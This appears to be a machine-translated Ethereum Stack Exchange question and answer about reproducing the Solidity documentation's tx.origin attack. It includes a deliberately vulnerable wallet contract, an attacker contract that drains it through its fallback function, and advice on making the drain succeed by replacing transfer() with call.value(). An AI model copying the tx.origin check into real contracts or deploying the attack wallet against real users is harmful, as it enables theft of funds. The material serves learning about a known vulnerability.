当时我正在阅读稳健的文档,并决定复制tx.origin攻击。我从文档中复制了合同,但在使用函数"transferTo“时出现了错误。有关错误的详细信息,请查看下面的混合屏幕截图。
在下面找到我的合同。
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
function TxUserWallet() payable public {
owner = msg.sender;
}
function transferTo(address dest, uint256 amount) payable public {
require(tx.origin == owner);
dest.transfer(amount);
}
function getBalance() constant returns(uint256){
return this.balance;
}
function getOwner() constant returns(address){
return owner;
}
}
interface TxUserWallet {
function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
address owner;
function TxAttackWallet() payable public {
owner = msg.sender;
}
function() payable public {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
function getBalance() constant returns(uint256){
return this.balance;
}
function getOwner() constant returns(address){
return owner;
}
}
发布于 2018-02-04 15:30:28
依赖tx.origin来确定事务是否由可信方发起是不好的。这就是坚固医生告诉你的那一章。易受攻击的代码是require(tx.origin == owner);。
现在,要实际利用tx.origin缺陷,尝试重入攻击,但失败了,因为现在dest.transfer(amount);只向dest契约的回退函数发送2300个气体。
要观察基于tx.source的安全控制的滥用(不考虑新的transfer()行为,它打破了重入技巧),您可以将dest.transfer(amount);更改为dest.call.value(amount)()。就像这里,https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14。
而且,从截图中还不清楚你是否正确地触发了攻击。您必须从TxUserWallet的所有者帐户中调用TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)。这将把所有的资金从TxUserWallet发送给TxAttackWallet的所有者。
https://ethereum.stackexchange.com/questions/38490
复制相似问题